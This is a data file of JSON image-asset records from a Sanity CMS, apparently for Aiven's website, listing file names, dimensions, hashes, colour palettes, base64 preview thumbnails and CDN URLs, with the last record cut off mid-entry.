{"_createdAt":"2022-09-26T16:07:09Z","_id":"image-d9dfda0c13b811cbe392a804b2796350c2c8414e-1084x311-png","_rev":"XMqVxILwpPMz4xYxc7p8S4","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:21Z","assetId":"d9dfda0c13b811cbe392a804b2796350c2c8414e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D155Rg~q-;_3-p%~t6s.t7t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.485530546623794,"height":311,"width":1084},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABYlAAAWJQFJUiTwAAAA3klEQVQYlY3PTW7DIBAFYC5iCMb8DwbSWm4X6caL5P4XehU4tlQpkbr4BJoZPQZ2fzxw+7lhroQwazgyGI2GUApcqfPk4/h01KfeE+M+c9zZtm1Yv78QcoKdI1xOMClhioQpRqiwm0LA5AN0JGja+9J5XIyBMBYXYyG0AVuWBTlnBCJ4IlApmGtFKgWU8yk95esV5eOz97VzEG1reZBgLayU0sUY4ZzrrLUvee+7dh9bGOcYhqGfnA9gtVa0Ldd1RUrpHHpHiEb8rffAHaP2TaL92yFAStlf/K8j6Aj8Bc1PrVby6QuVAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#354a55","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c544c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cacbcc","foreground":"#000","population":0.13,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cacbcc","foreground":"#000","population":0.13,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bddd4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#949c5c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbfad","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d9dfda0c13b811cbe392a804b2796350c2c8414e-1084x311.png","path":"images/sczeoy4w/production/d9dfda0c13b811cbe392a804b2796350c2c8414e-1084x311.png","sha1hash":"d9dfda0c13b811cbe392a804b2796350c2c8414e","size":111113,"uploadId":"Op825Pbxx4yQV30bbJHlkOy08GryeLK8","url":"https://cdn.sanity.io/images/sczeoy4w/production/d9dfda0c13b811cbe392a804b2796350c2c8414e-1084x311.png"} {"_createdAt":"2022-10-25T14:00:12Z","_id":"image-da01cf3102c58a1388f06e6d4f003123a0d413f1-1102x360-png","_rev":"DqbZPlWf2gzTA6NYtH5RHX","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:00:12Z","assetId":"da01cf3102c58a1388f06e6d4f003123a0d413f1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9S6V+bbRj%2oJ~pRkofj]R*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.061111111111111,"height":360,"width":1102},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAr0lEQVQYlXXQS24EMQgEUN//nqNEM5HtNgUFuBcjtzufTdBbIGABFBUDTKCAQk0vK8iL090jM+cybxHpHmWAbVgXwoIxI/+Vef4VcZYDfDU8G6pQLI03MJWpFgIOsQGDuq6BuallGbCvKo9X/6hShw341oXHStgOrU1qR19dDvXtAAuMfehnHc+OvfwmFspkTGWI+uVu3QPqxeii6+wmJupr1W/rBfNkTPPf4g9YvAG9sFoedfYslAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#53656a","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#651f39","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#afccd3","foreground":"#000","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afccd3","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cf4e4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6cb4a1","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d47498","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"da01cf3102c58a1388f06e6d4f003123a0d413f1-1102x360.png","path":"images/sczeoy4w/production/da01cf3102c58a1388f06e6d4f003123a0d413f1-1102x360.png","sha1hash":"da01cf3102c58a1388f06e6d4f003123a0d413f1","size":15248,"uploadId":"CdzIGPmv7MGeI1zBQLVxvzFZOTEybcca","url":"https://cdn.sanity.io/images/sczeoy4w/production/da01cf3102c58a1388f06e6d4f003123a0d413f1-1102x360.png"} {"_createdAt":"2022-10-26T06:14:24Z","_id":"image-da3a23f7f3e6d21fefc58a10a00df1408f5be0ac-1422x800-png","_rev":"DqbZPlWf2gzTA6NYtPT9jV","_type":"sanity.imageAsset","_updatedAt":"2022-10-26T06:34:37Z","altText":"Zoom of the metro map demo showing Aiven for Apache Flink, Aiven for Apache Kafka and Aiven for ClickHouse","assetId":"da3a23f7f3e6d21fefc58a10a00df1408f5be0ac","description":"Querying this table shows us the latest records consumed, so it’s no good on its own - you can’t query the same data twice without resetting the consumer group details. So what we’ll do instead is create a ClickHouse materialized view on top of it.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7775,"height":800,"width":1422},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB/ElEQVQokX2Sy4oTQRSG+1HduJBZ+ALzCrpQENSVCwdkiJOoiMxkhEzAMUZQEyfGJNNJt+l03atOXbo7fYt0glvhWxyK859Ffb/nh2y+jMONFLoAtwO341BhvkUsI2IrTaVsLU1NZRHTDNE0pilmGYcS3M5DzMXEEJFKU4HbKVtzKBFLN9hhljCZCciFrjDPImRibDA1hDkOhbK1p2y5pwJXg6ubsMoxbS6iZs8KSKUuCE9ipDABLiyYDJpI7UFSgS2lzARPlS6Uq4TeImo2AY8WBEeyCZucqRRTg6nkDGmg2qb7MMcijKLhYvVpFv9eS4IVR2QRhu/H4csvpD+VKFKAhESMRQL/0MGZDduazcFsPTPpsctz/1nn5sm727Ou+NYzv3qbD93xcWty9yR61Fajj4b0AF2pqGuDp/n0KP955MLXoLlnZgPe7QaPX00fni5bF2J0beaD9cXV8Lg9uHNy+6AjR31DP2s60Ljvohf5/H4+uZeEp6CZp5Xi/jo8Hy4619F3XzIBINEKj9/efH0+8C+nAhOwssEIJWY8eMP9liJTsNvmw7jMwiX3ZwRhp2wJScVUvlqq2YSs/+i9/+oAk8kqjFfBhoqk8dzoMRWHkqlC6ApsI0w2LwVVBYdGycEiuFroMqZZTDOh9yU5tErvOcz/R9nqXyl2fwE8iVUJvrd+gQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b4e65","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b82082","foreground":"#fff","population":0.99,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b82082","foreground":"#fff","population":0.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4c4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6e39a","foreground":"#000","population":0.92,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#947c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7305","foreground":"#fff","population":0.67,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"metromap-step3.png","path":"images/sczeoy4w/production/da3a23f7f3e6d21fefc58a10a00df1408f5be0ac-1422x800.png","sha1hash":"da3a23f7f3e6d21fefc58a10a00df1408f5be0ac","size":84166,"title":"Last stop: Aiven for ClickHouse","uploadId":"SuPyfTSsBoLGtc9qDbC8NV7NHUk40Jzx","url":"https://cdn.sanity.io/images/sczeoy4w/production/da3a23f7f3e6d21fefc58a10a00df1408f5be0ac-1422x800.png"} {"_createdAt":"2022-06-30T20:09:17Z","_id":"image-da49fff76d4ee584cf51f494d577fad7ae27d841-849x366-png","_rev":"CK1sLU2mnwa3vmbYWEdKIa","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:35Z","assetId":"da49fff76d4ee584cf51f494d577fad7ae27d841","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9Sr},R*NGtlV@~qRPNZRjWB%#RjR5VtXS","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.319672131147541,"height":366,"width":849},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA9ElEQVQokZWR227EIAxE8/+f2i5gwBdAIVOZbLTpqvvQhyMsGw0zZss5I8aIFCMqZXQ1zDlxADiO499sIoJaK7hUWC7oLNjHwNz3z8z5kc0FSyngymii6KoYIhiV/4YFwxpG7xhjnHhttvrbFdlFzQymCkuE9vU4+Q6v2okEYznvXqiilYqeCzYigsPMa6gi4ESQR4CFBHOBmF61r8YfvQuKouWCRtkFM9ylR/ehn5QIFCO4Vpj3RV/cxfSZSGSJPQUJKaX1Mcuh6nIcQjgfendzx1PlsmgpL5eb7+4u6Hh8F/PZ5by19hvvlYoW09pro4JeGT8YjWyJb92T/QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#676767","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#632033","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cf95a1","foreground":"#000","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cf95a1","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fca4c4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d47c94","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"da49fff76d4ee584cf51f494d577fad7ae27d841-849x366.png","path":"images/sczeoy4w/production/da49fff76d4ee584cf51f494d577fad7ae27d841-849x366.png","sha1hash":"da49fff76d4ee584cf51f494d577fad7ae27d841","size":41523,"uploadId":"CXSLK0SnJFEptpxnatlAM8zOOtemFBMt","url":"https://cdn.sanity.io/images/sczeoy4w/production/da49fff76d4ee584cf51f494d577fad7ae27d841-849x366.png"} {"_createdAt":"2024-02-06T14:38:06Z","_id":"image-da9c4c0a4a489aa646bc6b8bb1a45a9a7dc5f5cb-417x417-png","_rev":"MkmgsAGxwT6Nx7jjOk6anu","_type":"sanity.imageAsset","_updatedAt":"2024-02-06T14:38:06Z","assetId":"da9c4c0a4a489aa646bc6b8bb1a45a9a7dc5f5cb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eNF{|HrJ10TXM*#W-SJREOxq0*S_}Wi$kTO-9_n*=vaOJRbGjHkAod","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":417,"width":417},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAADD0lEQVQ4jZWUT4iXRRjH582f267spr2jLdb+2t3nUZO2P4cUL11N6iLSPG62iIc61M1jBckqFUXQLQ9CEKgniRA71EmweRcP3kTwEgR5EUGf7+6SM2puzLzv+/v9FjexgYd5mXfm83znme+MgbBRIaOuCWEDx6YdT9+aohlv56b/azZIuzj1CZCg9YIm1qnQeggXeV6btEnwSGsn1ROoUKFRCG+CcIKkxVsg/AaEGcJDgwJSPB4o9CyE90F4P4THk1oIz6jQPIQ/gfBLmpKm8aYsjwMWEEpKTqnwWQjthfDG1KvjXyF0GUJHIDSmB+q6Yo5MrOx/Aofg6F0IX4HwDTj+AcIfqePvIPSnOr6ljr9Rx10cJIP3yOi+bRkYBqH97fIwHM1B+BqEH8DxTQhfh9Bf6vgehBRC3+MQ8e3Xdxrdz2bp864J3prgy9UKG4t01FGq30UVvg/hFXX0EEIP1fEKhG7gEB1f+rRL92+OdRaPTpqVlSIrbKO/5cYyKkwQ/kKF/0CGZuA/6jipO7/4wdSBu+eeo3i5LMNvm9fFhdLEpLAq+9BVNnD8NIR3a4bSRQhdhdAVdXwaQrNLx7rT4XfLwed4JlZl0YLStjOwb+JeLRN0mwq9D8dfQehLdTwHocm7F7aMxqqcDt7OxKrsBm+He8AMbRU2V6r9hnCq524Ifw2hnyF0Uh2/vfRZ18aFciJ4+2rwdkesyo2DKhuFvSs2eH8LON4O4RMQutac9I84PP3W32fGdwRvXwve7gzeboqVLWJTw6wwW6f1Yu9xyP2IOtoDoeMQ+kUd/4RZ+nh5fuKVcCnDZoK347GynQxsa/ioydtTz0mGspGF3oTQO+p41+LRyc3hkt0aq/Ll4O1UrOxwC1sb2Dtx6idw/BQO0np13Fn8cKoI3o7EqnwxeDsZK7th1SmvBazfwHr79TtZu+DO3u1meX7CxIUyQdOBPB8qO1bD1gBm6KoTT/1AzJJZ/vaFvDh42wnejsbKjgRfFq25n7jlGzFwK1IfassUSeH/BmZoz8R9m6REgzX8F882P0c8u+oFAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#53342f","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#931a05","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5023","foreground":"#fff","population":0.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#962002","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5023","foreground":"#fff","population":0.74,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a97963","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee510a","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"icon-people-courage.png","path":"images/sczeoy4w/production/da9c4c0a4a489aa646bc6b8bb1a45a9a7dc5f5cb-417x417.png","sha1hash":"da9c4c0a4a489aa646bc6b8bb1a45a9a7dc5f5cb","size":7763,"uploadId":"xpiSZJNid38742nphcTtCHpSvar250oB","url":"https://cdn.sanity.io/images/sczeoy4w/production/da9c4c0a4a489aa646bc6b8bb1a45a9a7dc5f5cb-417x417.png"} {"_createdAt":"2023-01-24T12:21:30Z","_id":"image-daa6d5d6808e21a367b85dcc87178d0069e271af-1567x844-jpg","_rev":"8k1q3pH3W7UsszW4ha8dUk","_type":"sanity.imageAsset","_updatedAt":"2023-01-24T12:21:40Z","altText":null,"assetId":"daa6d5d6808e21a367b85dcc87178d0069e271af","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAIDBgf/xAAdEAABBQADAQAAAAAAAAAAAAACAAEDBDEFEiKR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgUG/8QAGREAAwADAAAAAAAAAAAAAAAAAAIRASFB/9oADAMBAAIRAxEAPwDl8VziI64O4REbD6brrrP37AWrTnHEMUeMLKVjAzFFahVmyI2eD/EJUJQNP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b3a64","foreground":"#fff","population":0.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":67.49,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":67.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4acd0","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bbd9","foreground":"#000","population":0.36,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e7491","foreground":"#fff","population":1.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ae4648","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Get_started_with_Apache_Kafka_using_Java_blog.jpg","path":"images/sczeoy4w/production/daa6d5d6808e21a367b85dcc87178d0069e271af-1567x844.jpg","sha1hash":"daa6d5d6808e21a367b85dcc87178d0069e271af","size":134541,"title":null,"uploadId":"wgBFXUu7MLNkaW6uDu2kRwAOETMSTBe6","url":"https://cdn.sanity.io/images/sczeoy4w/production/daa6d5d6808e21a367b85dcc87178d0069e271af-1567x844.jpg"} {"_createdAt":"2023-01-13T14:51:05Z","_id":"image-dad837c82ae46a8dc6ff47c5f01fce20ca8c0e68-1200x630-jpg","_rev":"E0WcOAmhawew35VucH9jT8","_type":"sanity.imageAsset","_updatedAt":"2023-01-13T14:51:05Z","assetId":"dad837c82ae46a8dc6ff47c5f01fce20ca8c0e68","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABQAGCP/EACAQAAEEAgIDAQAAAAAAAAAAAAEAAgMEBRESIQZBQpH/xAAVAQEBAAAAAAAAAAAAAAAAAAABAv/EABwRAAICAgMAAAAAAAAAAAAAAAECABESITEycf/aAAwDAQACEQMRAD8A6EkoSOle9t2dvL52NBHZO5Liq55SOmOx2/2loQBaee/1Z/zVodXdv1ohWEzZQTq5JbEHyPYq627Rjn1x5DsKRfjoDcTCApLdjUF4Fz//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#494d4f","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14315b","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#83b4f9","foreground":"#000","population":6.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcbfc1","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#83b4f9","foreground":"#000","population":6.61,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#444f7a","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eca12c","foreground":"#000","population":2.22,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"whitepaper-ecommerce-meta-preview.jpg","path":"images/sczeoy4w/production/dad837c82ae46a8dc6ff47c5f01fce20ca8c0e68-1200x630.jpg","sha1hash":"dad837c82ae46a8dc6ff47c5f01fce20ca8c0e68","size":49827,"uploadId":"kRd7bEJXzDdATqBZ6Tg24cj7FhCmuj3x","url":"https://cdn.sanity.io/images/sczeoy4w/production/dad837c82ae46a8dc6ff47c5f01fce20ca8c0e68-1200x630.jpg"} {"_createdAt":"2023-06-07T13:41:27Z","_id":"image-db399f5890b6acad75dd9c72a3665b6fbf764d82-1920x1037-jpg","_rev":"rV9BZDYEBgQp95tIyWD9xK","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:41:27Z","assetId":"db399f5890b6acad75dd9c72a3665b6fbf764d82","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8BW-wnJ}v?c-m?t4,01xd9F=zMwTItmjD","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUHBv/EACQQAAEDBAEDBQAAAAAAAAAAAAQBAgMABRESBgchJDFBYYGx/8QAFQEBAQAAAAAAAAAAAAAAAAAAAwT/xAAdEQACAgEFAAAAAAAAAAAAAAABAgADERIhIjFR/9oADAMBAAIRAxEAPwCfTgT2yAYc7x3I5XpsmM00D5MSFDkY2KGOFUY/Vud0+KVdRjCC9piJXSSMbhrl9krFCzSSBru9Vz65oq6Aral7k96sOSnbyUtQ71cHKSBc/HeuW470U84B34sJ9/tFKzYOJQqAjM//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3d4a","foreground":"#fff","population":3.74,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f6430","foreground":"#fff","population":5.75,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b3a89b","foreground":"#000","population":5.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3a89b","foreground":"#000","population":5.85,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c7e4ac","foreground":"#000","population":0.21,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4f8b6a","foreground":"#fff","population":1.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b2ba2f","foreground":"#000","population":1.17,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"goto-customer-img.jpg","path":"images/sczeoy4w/production/db399f5890b6acad75dd9c72a3665b6fbf764d82-1920x1037.jpg","sha1hash":"db399f5890b6acad75dd9c72a3665b6fbf764d82","size":1720173,"uploadId":"7HfgCq6vCoCyalPJZvq9l9LLKxtzFCOo","url":"https://cdn.sanity.io/images/sczeoy4w/production/db399f5890b6acad75dd9c72a3665b6fbf764d82-1920x1037.jpg"} {"_createdAt":"2024-02-05T20:52:00Z","_id":"image-db421a198c1fbf3e665b34563f438f9928a31b09-1280x853-jpg","_rev":"H1slUvtNVEvBnmPPMTAUOP","_type":"sanity.imageAsset","_updatedAt":"2024-02-05T20:52:00Z","assetId":"db421a198c1fbf3e665b34563f438f9928a31b09","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VCFPBB-;I@%g9E?v~q?bIAMx4.%MxZMxNcIV9F8_tRIV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5005861664712778,"height":853,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYDBAf/xAAjEAACAQQCAgIDAAAAAAAAAAACAwEABAURBhITURQiFTGB/8QAFAEBAAAAAAAAAAAAAAAAAAAAAv/EABsRAAICAwEAAAAAAAAAAAAAAAABAhESITFR/9oADAMBAAIRAxEAPwCw3LcVfgfxVnhwu7iV9mveH27eopQtONPm1I8cB3IiUwSB0IK9dppWQ1vFcnaMtWsfLkyc+Wd6mK0DB5UgwpphQ+O9iWOjc/YvdGTd34OPNCjdx8V5JvOR460cP7TGy6/2KKlyWBxbrsmHaDJFETO53RTTDif/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a3a30","foreground":"#fff","population":4.63,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c2414","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4a3a30","foreground":"#fff","population":4.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9bbae","foreground":"#000","population":1.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dda69c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b48c6c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#80392c","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Mixology2.jpeg","path":"images/sczeoy4w/production/db421a198c1fbf3e665b34563f438f9928a31b09-1280x853.jpg","sha1hash":"db421a198c1fbf3e665b34563f438f9928a31b09","size":192135,"uploadId":"K59RL9EKNg0E4qfHCNVkXmViljV5NRHF","url":"https://cdn.sanity.io/images/sczeoy4w/production/db421a198c1fbf3e665b34563f438f9928a31b09-1280x853.jpg"} {"_createdAt":"2023-11-17T13:09:21Z","_id":"image-db4db8741596e08c5353f7e17de703c2633e1c1c-1258x320-png","_rev":"BjY9n6joNYFLmv1rryeOV9","_type":"sanity.imageAsset","_updatedAt":"2023-11-17T13:09:21Z","assetId":"db4db8741596e08c5353f7e17de703c2633e1c1c","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.93125,"height":320,"width":1258},"exif":{"PixelXDimension":1258,"PixelYDimension":320,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA4klEQVQYlW2P2WrDMBRE8///1B8olOahG4XUSbDjLZatzbJlKadYLQWTPhyGe2GGmV2cF6LzJF0C0f/cYfKMdkQphdYGa8dfbGIcR7z33G63DTsnLCbvMVnF8HZGZjV6vVvFte3IiwtVVSNEj5QSKRXDIFFK49xEjHEb2HeW8tTR7A9UD0+U+y8up46ukYiyoT7mtGWTQoxZm7mEc455ngkhbAMHM1ELQ1+0DJ9nRNFSC8twVdj3DP38gc7rNH+duAaEEP/0ruH69CGwLEsyJA2RRVvmlwPT4yvTpcXP/s78H99PbIGYCmztdgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#48484c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#125487","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a06388","foreground":"#fff","population":0.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aabebc","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#66befc","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a06388","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#da2368","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-console-integration.png","path":"images/sczeoy4w/production/db4db8741596e08c5353f7e17de703c2633e1c1c-1258x320.png","sha1hash":"db4db8741596e08c5353f7e17de703c2633e